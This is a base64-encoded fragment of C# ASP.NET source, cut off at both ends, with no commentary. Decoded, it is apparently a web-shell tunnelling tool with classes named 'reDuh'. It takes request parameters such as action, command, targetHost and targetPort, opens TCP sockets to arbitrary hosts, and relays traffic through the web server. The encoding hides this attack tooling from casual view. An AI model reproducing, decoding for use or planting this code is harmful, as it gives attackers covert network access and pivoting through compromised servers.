yaW5nKCldKS5QZWVrKCkpLlRvU3RyaW5nKCkpOw0KCQkJCQkJCQkJCX0NCgkJCQkJCQkJCQljYXRjaHt9DQoJCQkJCQkJCQl9DQoJCQkJCQkJCX0NCgkJCQkJCQkJKChTdGFjaykgZW5jbG9zaW5nSW5zdGFuY2Uuc2VxdWVuY2VOdW1iZXJzW3RndC5Ub1N0cmluZygpICsgIjoiICsgcHJ0LlRvU3RyaW5nKCkgKyAiOiIgKyBzb2NrTnVtLlRvU3RyaW5nKCldKS5QdXNoKHNlcU51bS5Ub1N0cmluZygpKTsNCgkJCQkJCQkJKChRdWV1ZSkgZW5jbG9zaW5nSW5zdGFuY2UuY29ubmVjdGlvblBvb2xbdGd0LlRvU3RyaW5nKCkgKyAiOiIgKyBwcnQuVG9TdHJpbmcoKSArICI6IiArIHNvY2tOdW0uVG9TdHJpbmcoKV0pLkVucXVldWUoc2VxTnVtLlRvU3RyaW5nKCkgKyAiOiIgKyBkYXRhLlRvU3RyaW5nKCkpOzsNCgkJCQkJCQl9DQoJCQkJCQl9DQoJCQkJCQllbHNlDQoJCQkJCQl7DQoJCQkJCQkJaWYgKFN0cmluZy5Db21wYXJlT3JkaW5hbChkYXRhLCAiKiIpICE9IDApDQoJCQkJCQkJew0KCQkJCQkJCQlyd1AuV3JpdGVMaW5lKCJbRXJyb3JdVHJ5aW5nIHRvIGFkZCBkYXRhIHRvIG5vbmV4aXN0ZW50IHNvY2tldCAtICIgKyB0Z3QgKyAiOiIgKyBwcnQgKyAiOiIgKyBzb2NrTnVtKTsNCgkJCQkJCQl9DQoJCQkJCQl9DQoJCQkJCX0NCgkJCQkJZWxzZSBpZiAoU3RyaW5nLkNvbXBhcmVPcmRpbmFsKHRhZywgInNodXRkb3duIikgPT0gMCkNCgkJCQkJew0KCQkJCQkJZW5jbG9zaW5nSW5zdGFuY2UucnVuU2VydmVyVGhyZWFkID0gZmFsc2U7DQoJCQkJCQllbmNsb3NpbmdJbnN0YW5jZS5zcnYuU3RvcCgpOw0KCQkJCQl9DQoJCQkJCWVsc2UgaWYgKFN0cmluZy5Db21wYXJlT3JkaW5hbCh0YWcsICJjcmVhdGVTb2NrZXQiKSA9PSAwKQ0KCQkJCQl7DQoJCQkJCQlTeXN0ZW0uU3RyaW5nIHRndCA9IHJlcS5TdWJzdHJpbmcocmVxLkluZGV4T2YoIl0iKSArIDEsIChyZXEuSW5kZXhPZigoU3lzdGVtLkNoYXIpICc6JykpIC0gKHJlcS5JbmRleE9mKCJdIikgKyAxKSk7DQoJCQkJCQlpbnQgcHJ0ID0gU3lzdGVtLkludDMyLlBhcnNlKHJlcS5TdWJzdHJpbmcocmVxLkluZGV4T2YoKFN5c3RlbS5DaGFyKSAnOicpICsgMSwgKHJlcS5MYXN0SW5kZXhPZigiOiIpKSAtIChyZXEuSW5kZXhPZigoU3lzdGVtLkNoYXIpICc6JykgKyAxKSkpOw0KCQkJCQkJaW50IHNvY2tOdW0gPSBTeXN0ZW0uSW50MzIuUGFyc2UocmVxLlN1YnN0cmluZyhyZXEuTGFzdEluZGV4T2YoIjoiKSArIDEpKTsNCgkJCQkJCWlmIChlbmNsb3NpbmdJbnN0YW5jZS5jb25uZWN0aW9uUG9vbC5Db250YWluc0tleSh0Z3QgKyAiOiIgKyBwcnQgKyAiOiIgKyBzb2NrTnVtKSkNCgkJCQkJCXsNCgkJCQkJCQlyd1AuV3JpdGVMaW5lKCJbRXJyb3JdVHJ5aW5nIHRvIGNyZWF0ZSBkdXBsaWNhdGUgaGFzaG1hcCBrZXkgLSAiICsgdGd0ICsgIjoiICsgcHJ0ICsgIjoiICsgc29ja051bSk7DQoJCQkJCQl9DQoJCQkJCQllbHNlDQoJCQkJCQl7DQoJCQkJCQkJYm9vbCBzb2NrZXRTdWNjZXNzID0gdHJ1ZTsNCgkJCQkJCQlTeXN0ZW0uTmV0LlNvY2tldHMuVGNwQ2xpZW50IHRtcFNvY2tldCA9IG51bGw7DQoJCQkJCQkJdHJ5DQoJCQkJCQkJew0KCQkJCQkJCQl0bXBTb2NrZXQgPSBuZXcgU3lzdGVtLk5ldC5Tb2NrZXRzLlRjcENsaWVudCh0Z3QsIHBydCk7DQoJCQkJCQkJfQ0KCQkJCQkJCWNhdGNoIChFeGNlcHRpb24gZXgpDQoJCQkJCQkJew0KCQkJCQkJCQlyd1AuV3JpdGVMaW5lKCJbRXJyb3JdQ2Fubm90IGNyZWF0ZSBzb2NrZXQgIiArIHRndCArICI6IiArIHBydCk7DQoJCQkJCQkJCXNvY2tldFN1Y2Nlc3MgPSBmYWxzZTsNCgkJCQkJCQl9DQoJCQkJCQkJaWYgKHNvY2tldFN1Y2Nlc3MpDQoJCQkJCQkJew0KDQoJCQkJCQkJCVF1ZXVlIHFfbmV3UXVldWVEYXRhID0gbmV3IFF1ZXVlKCk7Ow0KCQkJCQkJCQllbmNsb3NpbmdJbnN0YW5jZS5jb25uZWN0aW9uUG9vbC5BZGQodGd0LlRvU3RyaW5nKCkgKyAiOiIgKyBwcnQuVG9TdHJpbmcoKSArICI6IiArIHNvY2tOdW0uVG9TdHJpbmcoKSwgbmV3IFF1ZXVlKCkpOzsNCgkJCQkJCQkJZW5jbG9zaW5nSW5zdGFuY2Uuc2VxdWVuY2VOdW1iZXJzLkFkZCh0Z3QuVG9TdHJpbmcoKSArICI6IiArIHBydC5Ub1N0cmluZygpICsgIjoiICsgc29ja051bS5Ub1N0cmluZygpLCBuZXcgU3RhY2soKSk7Ow0KCQkJCQkJCQlTeXN0ZW0uSU8uU3RyZWFtIHRvQ2xpZW50ID0gdG1wU29ja2V0LkdldFN0cmVhbSgpOw0KCQkJCQkJCQlTeXN0ZW0uSU8uU3RyZWFtIGZyb21DbGllbnQgPSB0bXBTb2NrZXQuR2V0U3RyZWFtKCk7DQoJCQkJCQkJCXJlZGlyZWN0b3JTRCBzZW5kRGF0YVRvVGFyZ2V0ID0gbmV3IHJlZGlyZWN0b3JTRCh0aGlzLmVuY2xvc2luZ0luc3RhbmNlLCB0Z3QsIHBydCwgc29ja051bSwgdG9DbGllbnQpOw0KCQkJCQkJCQlyZWRpcmVjdG9yR0QgZ2V0RGF0YUZyb21UYXJnZXQgPSBuZXcgcmVkaXJlY3RvckdEKHRoaXMuZW5jbG9zaW5nSW5zdGFuY2UsIHRndCwgcHJ0LCBzb2NrTnVtLCBmcm9tQ2xpZW50KTsNCgkJCQkJCQkJc2VuZERhdGFUb1RhcmdldC5TdGFydCgpOw0KCQkJCQkJCQlnZXREYXRhRnJvbVRhcmdldC5TdGFydCgpOw0KCQkJCQkJCQlyd1AuV3JpdGVMaW5lKCJbSW5mb11TdWNjZXNzZnVsbHkgY3JlYXRlZCBzb2NrZXQgIiArIHRndCArICI6IiArIHBydCArICIgKE51bWJlciAiICsgc29ja051bSArICIpIik7DQoJCQkJCQkJCXNlbmREYXRhVG9UYXJnZXQuSm9pbigpOw0KCQkJCQkJCQlyd1AuV3JpdGVMaW5lKCJbSW5mb11Tb2NrZXQgY2xvc2VkIGZvciAiICsgdGd0ICsgIjoiICsgcHJ0ICsgIiAoTnVtYmVyICIgKyBzb2NrTnVtICsgIikiKTsNCgkJCQkJCQl9DQoJCQkJCQl9DQoJCQkJCX0NCgkJCQkJYnJlYWs7DQoJCQkJfQ0KCQkJCXRyeQ0KCQkJCXsNCgkJCQkJcndQLkNsb3NlKCk7DQoJCQkJfQ0KCQkJCWNhdGNoIHt9DQoJCQkJdHJ5DQoJCQkJew0KCQkJCQlyZFAuQ2xvc2UoKTsNCgkJCQl9DQoJCQkJY2F0Y2gge30NCgkJCX0NCgkJCWNhdGNoIChTeXN0ZW0uRXhjZXB0aW9uIGUpDQoJCQl7DQoJCQkJU3lzdGVtLkNvbnNvbGUuRXJyb3IuV3JpdGVMaW5lKCJTZXJ2aWNlIFRocmVhZCBFeGNlcHRpb24gIiArIGUpOw0KCQkJCXJldHVybiA7DQoJCQl9DQoJCX0NCgl9CQ0KCWludGVybmFsIGNsYXNzIHJlZGlyZWN0b3JQcm9jZXNzQ29tbTpTdXBwb3J0Q2xhc3MuVGhyZWFkQ2xhc3MNCgl7DQoJCXByaXZhdGUgdm9pZCAgSW5pdEJsb2NrKHJlRHVoIGVuY2xvc2luZ0luc3RhbmNlKQ0KCQl7DQoJCQl0aGlzLmVuY2xvc2luZ0luc3RhbmNlID0gZW5jbG9zaW5nSW5zdGFuY2U7DQoJCX0NCgkJcHJpdmF0ZSByZUR1aCBlbmNsb3NpbmdJbnN0YW5jZTsNCgkJcHVibGljIHJlRHVoIEVuY2xvc2luZ19JbnN0YW5jZQ0KCQl7DQoJCQlnZXQNCgkJCXsNCgkJCQlyZXR1cm4gZW5jbG9zaW5nSW5zdGFuY2U7DQoJCQl9DQoJCQkNCgkJfQ0KCQlpbnRlcm5hbCBTeXN0ZW0uTmV0LlNvY2tldHMuVGNwQ2xpZW50IHNvY2sgPSBudWxsOw0KCQlpbnRlcm5hbCBTeXN0ZW0uU3RyaW5nIGlucHV0ID0gbnVsbDsNCgkJaW50ZXJuYWwgY29ubkhhbmRsZXIgbmV3Q29ubmVjdGlvbiA9IG51bGw7DQoJCWludGVybmFsIGJvb2wgYm91bmRUb1BvcnQgPSBmYWxzZTsNCgkJaW50ZXJuYWwgcmVkaXJlY3RvclByb2Nlc3NDb21tKHJlRHVoIGVuY2xvc2luZ0luc3RhbmNlKQ0KCQl7DQoJCQlJbml0QmxvY2soZW5jbG9zaW5nSW5zdGFuY2UpOw0KCQkJd2hpbGUgKCFib3VuZFRvUG9ydCkNCgkJCXsNCgkJCQl0cnkNCgkJCQl7DQoJCQkJCVN5c3RlbS5OZXQuU29ja2V0cy5UY3BMaXN0ZW5lciB0ZW1wX3RjcExpc3RlbmVyOw0KCQkJCQl0ZW1wX3RjcExpc3RlbmVyID0gbmV3IFN5c3RlbS5OZXQuU29ja2V0cy5UY3BMaXN0ZW5lcihlbmNsb3NpbmdJbnN0YW5jZS5zZXJ2aWNlUG9ydCk7DQoJCQkJCXRlbXBfdGNwTGlzdGVuZXIuU3RhcnQoKTsNCgkJCQkJZW5jbG9zaW5nSW5zdGFuY2Uuc3J2ID0gdGVtcF90Y3BMaXN0ZW5lcjsNCgkJCQkJYm91bmRUb1BvcnQgPSB0cnVlOw0KCQkJCX0NCgkJCQljYXRjaA0KCQkJCXsNCgkJCQkJZW5jbG9zaW5nSW5zdGFuY2Uuc2VydmljZVBvcnQrKzsNCgkJCQkJYm91bmRUb1BvcnQgPSBmYWxzZTsNCgkJCQl9DQoJCQl9DQoJCQllbmNsb3NpbmdJbnN0YW5jZS5zZXJ2aWNlUG9ydEJvdW5kID0gdHJ1ZTsNCgkJfQ0KCQlvdmVycmlkZSBwdWJsaWMgdm9pZCAgUnVuKCkNCgkJew0KCQkJd2hpbGUgKGVuY2xvc2luZ0luc3RhbmNlLnJ1blNlcnZlclRocmVhZCkNCgkJCXsNCgkJCQl0cnkNCgkJCQl7DQoJCQkJCXNvY2sgPSBlbmNsb3NpbmdJbnN0YW5jZS5zcnYuQWNjZXB0VGNwQ2xpZW50KCk7DQoJCQkJfQ0KCQkJCWNhdGNoIChTeXN0ZW0uRXhjZXB0aW9uIGUpDQoJCQkJew0KCQkJCQlTeXN0ZW0uQ29uc29sZS5FcnJvci5Xcml0ZUxpbmUoIipVbmFibGUgdG8gcmVjZWl2ZSBjb25uZWN0aW9uIG9uIHBvcnQgIiArIGVuY2xvc2luZ0luc3RhbmNlLnNlcnZpY2VQb3J0ICsgIi4gVGhlIHNlcnZpY2UgaGFzIHByb2JhYmx5IGJlZW4gc2h1dGRvd24uICIgKyBlKTsNCgkJCQkJcmV0dXJuIDsNCgkJCQl9DQoJCQkJbmV3Q29ubmVjdGlvbiA9IG5ldyBjb25uSGFuZGxlcih0aGlzLmVuY2xvc2luZ0luc3RhbmNlLCBzb2NrKTsNCgkJCQluZXdDb25uZWN0aW9uLlN0YXJ0KCk7DQoJCQl9DQoJCQl0cnkNCgkJCXsNCgkJCQllbmNsb3NpbmdJbnN0YW5jZS5zcnYuU3RvcCgpOw0KCQkJfQ0KCQkJY2F0Y2gNCgkJCXsNCgkJCX0NCgkJfQ0KCX0NCglpbnRlcm5hbCByZUR1aChpbnQgX3ApDQoJew0KCQlzZXJ2aWNlUG9ydCA9IF9wOw0KCX0NCglvdmVycmlkZSBwdWJsaWMgdm9pZCAgUnVuKCkNCgl7DQoJCXRyeQ0KCQl7DQoJCQlyUEMgPSBuZXcgcmVkaXJlY3RvclByb2Nlc3NDb21tKHRoaXMpOw0KCQkJclBDLlN0YXJ0KCk7DQoJCQlyUEMuSm9pbigpOw0KCQl9DQoJCWNhdGNoDQoJCXsNCgkJfQ0KCX0NCn0NClN0cmluZyBzX3BhdGggPSBudWxsOw0KaW50IERFQlVHX0xFVkVMID0gMTsNClN0cmluZyBkYXRhID0gbnVsbDsNClN0cmluZyBhY3Rpb24gPSBudWxsOw0KU3RyaW5nIHRtcFRhcmdldFBvcnQgPSBudWxsOw0KU3RyaW5nIHRtcFBDUG9ydCA9IG51bGw7DQpTdHJpbmcgdGFyZ2V0SG9zdCA9IG51bGw7DQpTdHJpbmcgY21kID0gbnVsbDsNClN0cmluZyBzb2NrZXROdW1iZXIgPSBudWxsOw0KU3RyaW5nIHNlcXVlbmNlTnVtYmVyID0gbnVsbDsNCmludCB0YXJnZXRQb3J0ID0gLTE7DQppbnQgc2VydmljZVBvcnQgPSA0MjAwMDsNClNvY2tldCBycGNTb2NrID0gbnVsbDsNCk5ldHdvcmtTdHJlYW0gbXlOZXR3b3JrU3RyZWFtID0gbnVsbDsNClN0cmVhbVdyaXRlciBydyA9IG51bGw7DQpTdHJlYW1SZWFkZXIgcmQgPSBudWxsOw0KcHJpdmF0ZSBzdGF0aWMgc2J5dGVbXSBBTFBIQVNFVCA9IFN1cHBvcnRDbGFzcy5Ub1NCeXRlQXJyYXkoU3VwcG9ydENsYXNzLlRvQnl0ZUFycmF5KCJBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSsvPSIpKTsNCnByaXZhdGUgc3RhdGljIGludFtdIENPREVTID0gbmV3IGludFsyNTZdOw0KcHJpdmF0ZSBjb25zdCBpbnQgSTZPMiA9IDI1NSAtIDM7DQpwcml2YXRlIGNvbnN0IGludCBPNkkyID0gMzsNCnByaXZhdGUgY29uc3QgaW50IEk0TzQgPSAyNTUgLSAxNTsNCnByaXZhdGUgY29uc3QgaW50IE80STQgPSAxNTsNCnByaXZhdGUgY29uc3QgaW50IEkyTzYgPSAyNTUgLSA2MzsNCnByaXZhdGUgY29uc3QgaW50IE8ySTYgPSA2MzsNCnB1YmxpYyBzdGF0aWMgU3RyaW5nIGVuY29kZShTdHJpbmcgcykNCnsNCglzYnl0ZVtdIHNCeXRlcyA9IFN1cHBvcnRDbGFzcy5Ub1NCeXRlQXJyYXkoU3VwcG9ydENsYXNzLlRvQnl0ZUFycmF5KHMpKTsNCglzQnl0ZXMgPSBlbmNvZGUoc0J5dGVzKTsNCglzID0gbmV3IFN5c3RlbS5TdHJpbmcoU3VwcG9ydENsYXNzLlRvQ2hhckFycmF5KFN1cHBvcnRDbGFzcy5Ub0J5dGVBcnJheShzQnl0ZXMpKSk7DQoJcmV0dXJuIHM7DQp9DQpwdWJsaWMgc3RhdGljIFN5c3RlbS5TdHJpbmcgZGVjb2RlKFN5c3RlbS5TdHJpbmcgcykNCnsNCgl3aGlsZSAocy5JbmRleE9mKCJcbiIpID4gLTEpIHMgPSBzLlJlcGxhY2UoIlxuIiwgIiIpOw0KCXdoaWxlIChzLkluZGV4T2YoIlxyIikgPiAtMSkgcyA9IHMuUmVwbGFjZSgiXHIiLCAiIik7DQoJc2J5dGVbXSBzQnl0ZXMgPSBTdXBwb3J0Q2xhc3MuVG9TQnl0ZUFycmF5KFN1cHBvcnRDbGFzcy5Ub0J5dGVBcnJheShzKSk7DQoJc0J5dGVzID0gZGVjb2RlKHNCeXRlcyk7DQoJcyA9IG5ldyBTeXN0ZW0uU3RyaW5nKFN1cHBvcnRDbGFzcy5Ub0NoYXJBcnJheShTdXBwb3J0Q2xhc3MuVG9CeXRlQXJyYXkoc0J5dGVzKSkpOw0KCXJldHVybiBzOw0KfQ0KcHVibGljIHN0YXRpYyBzYnl0ZVtdIGVuY29kZShzYnl0ZVtdIGREYXRhKQ0Kew0KCWlmIChkRGF0YSA9PSBudWxsKQ0KCXsNCgkJdGhyb3cgbmV3IFN5c3RlbS5Bcmd1bWVudEV4Y2VwdGlvbigiQ2Fubm90IGVuY29kZSBudWxsIik7DQoJfQ0KCXNieXRlW10gZURhdGEgPSBuZXcgc2J5dGVbKChkRGF0YS5MZW5ndGggKyAyKSAvIDMpICogNF07CQ0KCWludCBlSW5kZXggPSAwOw0KCWZvciAoaW50IGkgPSAwOyBpIDwgZERhdGEuTGVuZ3RoOyBpICs9IDMpDQoJew0KCQlpbnQgZDE7DQoJCWludCBkMiA9IDA7DQoJCWludCBkMyA9IDA7DQoJCWludCBlMTsNCgkJaW50IGUyOw0KCQlpbnQgZTM7DQoJCWludCBlNDsNCgkJaW50IHBhZCA9IDA7CQ0KCQlkMSA9IGREYXRhW2ldOw0KCQlpZiAoKGkgKyAxKSA8IGREYXRhLkxlbmd0aCkNCgkJew0KCQkJZDIgPSBkRGF0YVtpICsgMV07DQoJCQlpZiAoKGkgKyAyKSA8IGREYXRhLkxlbmd0aCkNCgkJCXsNCgkJCQlkMyA9IGREYXRhW2kgKyAyXTsNCgkJCX0NCgkJCWVsc2UNCgkJCXsNCgkJCQlwYWQgPSAxOw0KCQkJfQ0KCQl9DQoJCWVsc2UNCgkJew0KCQkJcGFkID0gMjsNCgkJfQ0KCQllMSA9IEFMUEhBU0VUWyhkMSAmIEk2TzIpID4+IDJdOw0KCQllMiA9IEFMUEhBU0VUWyhkMSAmIE82STIpIDw8IDQgfCAoZDIgJiBJNE80KSA+PiA0XTsNCgkJZTMgPSBBTFBIQVNFVFsoZDIgJiBPNEk0KSA8PCAyIHwgKGQzICYgSTJPNikgPj4gNl07DQoJCWU0ID0gQUxQSEFTRVRbKGQzICYgTzJJNildOw0KCQllRGF0YVtlSW5kZXgrK10gPSAoc2J5dGUpIGUxOw0KCQllRGF0YVtlSW5kZXgrK10gPSAoc2J5dGUpIGUyOw0KCQllRGF0YVtlSW5kZXgrK10gPSAocGFkIDwgMik/KHNieXRlKSBlMzooc2J5dGUpICc9JzsNCgkJZURhdGFbZUluZGV4KytdID0gKHBhZCA8IDEpPyhzYnl0ZSkgZTQ6KHNieXRlKSAnPSc7DQoJfQ0KCXJldHVybiBlRGF0YTsNCn0NCnB1YmxpYyBzdGF0aWMgc2J5dGVbXSBkZWNvZGUoc2J5dGVbXSBlRGF0YSkNCnsNCglpZiAoZURhdGEgPT0gbnVsbCkNCgl7DQoJCXRocm93IG5ldyBTeXN0ZW0uQXJndW1lbnRFeGNlcHRpb24oIkNhbm5vdCBkZWNvZGUgbnVsbCIpOw0KCX0NCglzYnl0ZVtdIGNsZWFuRURhdGEgPSAoc2J5dGVbXSkgZURhdGEuQ2xvbmUoKTsNCglpbnQgY2xlYW5FTGVuZ3RoID0gMDsNCglmb3IgKGludCBpID0gMDsgaSA8IGVEYXRhLkxlbmd0aDsgaSsrKQ0KCXsNCgkJaWYgKGVEYXRhW2ldIDwgMjU2ICYmIENPREVTW2VEYXRhW2ldXSA8IDY0KQ0KCQl7DQoJCQljbGVhbkVEYXRhW2NsZWFuRUxlbmd0aCsrXSA9IGVEYXRhW2ldOw0KCQl9DQoJfQ0KCWludCBkTGVuZ3RoID0gKGNsZWFuRUxlbmd0aCAvIDQpICogMzsNCglzd2l0Y2ggKGNsZWFuRUxlbmd0aCAlIDQpDQoJewkNCgkJY2FzZSAzOiANCgkJCWRMZW5ndGggKz0gMjsNCgkJCWJyZWFrOwkNCgkJY2FzZSAyOiANCgkJCWRMZW5ndGgrKzsNCgkJCWJyZWFrOw0KCX0NCglzYnl0ZVtdIGREYXRhID0gbmV3IHNieXRlW2RMZW5ndGhdOw0KCWludCBkSW5kZXggPSAwOw0KCWZvciAoaW50IGkgPSAwOyBpIDwgZURhdGEuTGVuZ3RoOyBpICs9IDQpDQoJew0KCQlpZiAoKGkgKyAzKSA+IGVEYXRhLkxlbmd0aCkNCgkJew0KCQkJdGhyb3cgbmV3IFN5c3RlbS5Bcmd1bWVudEV4Y2VwdGlvbigiYnl0ZSBhcnJheSBpcyBub3QgYSB2YWxpZCBjb20uc3VuLnN5bmRpY2F0aW9uLmlvLmltcGwuQmFzZTY0IGVuY29kaW5nIik7DQoJCX0NCgkJaW50IGUxID0gQ09ERVNbY2xlYW5FRGF0YVtpXV07DQoJCWludCBlMiA9IENPREVTW2NsZWFuRURhdGFbaSArIDFdXTsNCgkJaW50IGUzID0gQ09ERVNbY2xlYW5FRGF0YVtpICsgMl1dOw0KCQlpbnQgZTQgPSBDT0RFU1tjbGVhbkVEYXRhW2kgKyAzXV07DQoJCWREYXRhW2RJbmRleCsrXSA9IChzYnl0ZSkgKChlMSA8PCAyKSB8IChlMiA+PiA0KSk7DQoJCWlmIChkSW5kZXggPCBkRGF0YS5MZW5ndGgpDQoJCXsNCgkJCWREYXRhW2RJbmRleCsrXSA9IChzYnl0ZSkgKChlMiA8PCA0KSB8IChlMyA+PiAyKSk7DQoJCX0NCgkJaWYgKGRJbmRleCA8IGREYXRhLkxlbmd0aCkNCgkJew0KCQkJZERhdGFbZEluZGV4KytdID0gKHNieXRlKSAoKGUzIDw8IDYpIHwgKGU0KSk7DQoJCX0NCgl9DQoJcmV0dXJuIGREYXRhOw0KfQ0KcHJpdmF0ZSB2b2lkIEluaXRDbGFzc1ZhcnMoKQ0Kew0KCWZvciAoaW50IGk9MDtpPENPREVTLkxlbmd0aDtpKyspDQoJew0KCQlDT0RFU1tpXSA9IDY0Ow0KCX0NCglmb3IgKGludCBpPTA7aTxBTFBIQVNFVC5MZW5ndGg7aSsrKQ0KCXsNCgkJQ09ERVNbQUxQSEFTRVRbaV1dID0gaTsNCgl9DQp9DQpwcml2YXRlIHZvaWQgUGFnZV9Mb2FkKG9iamVjdCBzZW5kZXIsIFN5c3RlbS5FdmVudEFyZ3MgZSkNCnsNCglJbml0Q2xhc3NWYXJzKCk7DQoJc19wYXRoID0gU3lzdGVtLldlYi5IdHRwQ29udGV4dC5DdXJyZW50LlNlcnZlci5NYXBQYXRoKFJlcXVlc3QuU2VydmVyVmFyaWFibGVzWyJTQ1JJUFRfTkFNRSJdKTsNCglhY3Rpb24gPSBSZXF1ZXN0WyJhY3Rpb24iXTsNCgljbWQgPSBSZXF1ZXN0WyJjb21tYW5kIl07DQoJdGFyZ2V0SG9zdCA9IFJlcXVlc3RbInRhcmdldEhvc3QiXTsNCgl0bXBUYXJnZXRQb3J0ID0gUmVxdWVzdFsidGFyZ2V0UG9ydCJdOw0KCWlmICh0bXBUYXJnZXRQb3J0ICE9IG51bGwpDQoJew0KCQl0YXJnZXRQb3J0ID0gU3lzdGVtLkludDMyLlBhcnNlKHRtcFRhcmdldFBvcnQpOw0KCX0NCglkYXRhID0gUmVxdWVzdFsiZGF0YSJdOw0KCXRtcFBDUG9ydCA9IFJlcXVlc3RbInNlcnZpY2VQb3J0Il07DQoJaWYgKHRtcFBDUG9ydCAhPSBudWxsKQ0KCXsNCgkJc2VydmljZVBvcnQgPSBTeXN0ZW0uSW50MzIuUGFyc2UodG1wUENQb3J0KTsNCgl9DQoJc29ja2V0TnVtYmVyID0gUmVxdWVzdFsic29ja2V0TnVtYmVyIl07DQoJc2VxdWVuY2VOdW1iZXIgPSBSZXF1ZXN0WyJzZXF1ZW5jZU51bWJlciJdOw0KCWlmIChhY3Rpb24gPT0gbnVsbCkNCgl7DQoJCVJlc3BvbnNlLldyaXRlKCJbcmVEdWhFcnJvcl0gVW5kZWZpbmVkIFJlcXVlcnN0IFxyXG4iKTsNCgkJUmVzcG9uc2UuRmx1c2goKTsNCgl9DQoJZWxzZSBpZiAoU3RyaW5nLkNvbXBhcmVPcmRpbmFsKGFjdGlvbiwgInN0YXJ0UmVEdWgiKSA9PSAwKQ0KCXsNCgkJcmVEdWggcmVkaXJlY3RvciA9IG5ldyByZUR1aChzZXJ2aWNlUG9ydCk7DQoJCXJlZGlyZWN0b3IuU3RhcnQoKTsNCgkJUmVzcG9uc2UuV3JpdGUoIltQb3J0OiIgKyByZWRpcmVjdG9yLlNlcnZpY2VQb3J0LlRvU3RyaW5nKCkgKyAiXVxyXG4iKTsNCgkJUmVzcG9uc2UuRmx1c2goKTsNCgkJcmVkaXJlY3Rvci5Kb2luKCk7DQoJfQ0KCWVsc2UgaWYgKFN0cmluZy5Db21wYXJlT3JkaW5hbChhY3Rpb24sICJnZXREYXRhIikgPT0gMCkNCgl7DQoJCWlmIChzZXJ2aWNlUG9ydCA9PSAtMSkNCgkJew0KCQkJUmVzcG9uc2UuV3JpdGUoIkVSUk9SIEJhZCBzZXJ2aWNlIHBvcnQgLSAiICsgc2VydmljZVBvcnQuVG9TdHJpbmcoKSArICJcclxuIik7DQoJCQlSZXNwb25zZS5GbHVzaCgpOw0KCQkJaWYgKERFQlVHX0xFVkVMID4gMCkNCgkJCXsNCgkJCQlTeXN0ZW0uQ29uc29sZS5Xcml0ZUxpbmUoIkVSUk9SOiBCYWQgc2VydmljZSBwb3J0IC0gIiArIHNlcnZpY2VQb3J0KTsNCgkJCX0NCgkJfQ0KCQllbHNlDQoJCXsNCgkJCXRyeQ0KCQkJew0KCQkJCVN5c3RlbS5OZXQuSVBIb3N0RW50cnkgaG9zdCA9IG51bGw7DQoJCQkJaG9zdCA9IFN5c3RlbS5OZXQuRG5zLlJlc29sdmUoIjEyNy4wLjAuMSIpOw0KCQkJCVN5c3RlbS5OZXQuSVBBZGRyZXNzIGlwYSA9IGhvc3QuQWRkcmVzc0xpc3RbMF07DQoJCQkJU3lzdGVtLk5ldC5JUEVuZFBvaW50IGlwZSA9IG5ldyBTeXN0ZW0uTmV0LklQRW5kUG9pbnQoaXBhLCBzZXJ2aWNlUG9ydCk7DQoJCQkJcnBjU29jayA9IG5ldyBTb2NrZXQoU3lzdGVtLk5ldC5Tb2NrZXRzLkFkZHJlc3NGYW1pbHkuSW50ZXJOZXR3b3JrLCBTb2NrZXRUeXBlLlN0cmVhbSwgUHJvdG9jb2xUeXBlLlRjcCk7DQoJCQkJcnBjU29jay5Db25uZWN0KGlwZSk7DQoJCQkJbXlOZXR3b3JrU3RyZWFtID0gbmV3IE5ldHdvcmtTdHJlYW0ocnBjU29jayk7DQoJCQkJYnl0ZVtdIHN0dWZmID0gU3VwcG9ydENsYXNzLlRvQnl0ZUFycmF5KCJbZ2V0RGF0YV1cclxuIik7DQoJCQkJbXlOZXR3b3JrU3RyZWFtLldyaXRlKHN0dWZmLCAwLCBzdHVmZi5HZXRMZW5ndGgoMCkpOw0KCQkJCXJkID0gbmV3IFN5c3RlbS5JTy5TdHJlYW1SZWFkZXIobXlOZXR3b3JrU3RyZWFtLCBTeXN0ZW0uVGV4dC5FbmNvZGluZy5EZWZhdWx0KTsNCgkJCQlTdHJpbmcgaW5wdXQgPSBudWxsOw0KCQkJCWlucHV0ID0gcmQuUmVhZExpbmUoKTsNCgkJCQlSZXNwb25zZS5Xcml0ZShpbnB1dCArICJcclxuIik7DQoJCQkJUmVzcG9uc2UuRmx1c2goKTsNCgkJCQlUaHJlYWQuU2xlZXAoMTAwMCk7DQoJCQkJcmQuQ2xvc2UoKTsNCgkJCQlycGNTb2NrLkNsb3NlKCk7DQoJCQl9DQoJCQljYXRjaCAoRXhjZXB0aW9uIGV4KQ0KCQkJew0KCQkJfQ0KCQl9DQoJfQ0KCWVsc2UgaWYgKFN0cmluZy5Db21wYXJlT3JkaW5hbChhY3Rpb24sICJraWxsUmVEdWgiKSA9PSAwKQ0KCXsNCgkJaWYgKHNlcnZpY2VQb3J0ID09IC0xKQ0KCQl7DQoJCQlSZXNwb25zZS5Xcml0ZSgiRVJST1I6IEJhZCBzZXJ2aWNlIHBvcnQgLSAiICsgc2VydmljZVBvcnQuVG9TdHJpbmcoKSArICJcclxuIik7DQoJCQlSZXNwb25zZS5GbHVzaCgpOw0KCQkJaWYgKERFQlVHX0xFVkVMID4gMCkNCgkJCXsNCgkJCQlTeXN0ZW0uQ29uc29sZS5Xcml0ZUxpbmUoIkVSUk9SOiBCYWQgc2VydmljZSBwb3J0IC0gIiArIHNlcnZpY2VQb3J0LlRvU3RyaW5nKCkgKyAiXHJcbiIpOw0KCQkJfQ0KCQl9DQoJCWVsc2UNCgkJew0KCQkJdHJ5DQoJCQl7DQoJCQkJU3lzdGVtLk5ldC5JUEhvc3RFbnRyeSBob3N0ID0gbnVsbDsNCgkJCQlob3N0ID0gU3lzdGVtLk5ldC5EbnMuUmVzb2x2ZSgiMTI3LjAuMC4xIik7DQoJCQkJU3lzdGVtLk5ldC5JUEFkZHJlc3MgaXBhID0gaG9zdC5BZGRyZXNzTGlzdFswXTsNCgkJCQlTeXN0ZW0uTmV0LklQRW5kUG9pbnQgaXBlID0gbmV3IFN5c3RlbS5OZXQuSVBFbmRQb2ludChpcGEsIHNlcnZpY2VQb3J0KTsNCgkJCQlycGNTb2NrID0gbmV3IFNvY2tldChTeXN0ZW0uTmV0LlNvY2tldHMuQWRkcmVzc0ZhbWlseS5JbnRlck5ldHdvcmssIFNvY2tldFR5cGUuU3RyZWFtLCBQcm90b2NvbFR5cGUuVGNwKTsNCgkJCQlycGNTb2NrLkNvbm5lY3QoaXBlKTsNCgkJCQlteU5ldHdvcmtTdHJlYW0gP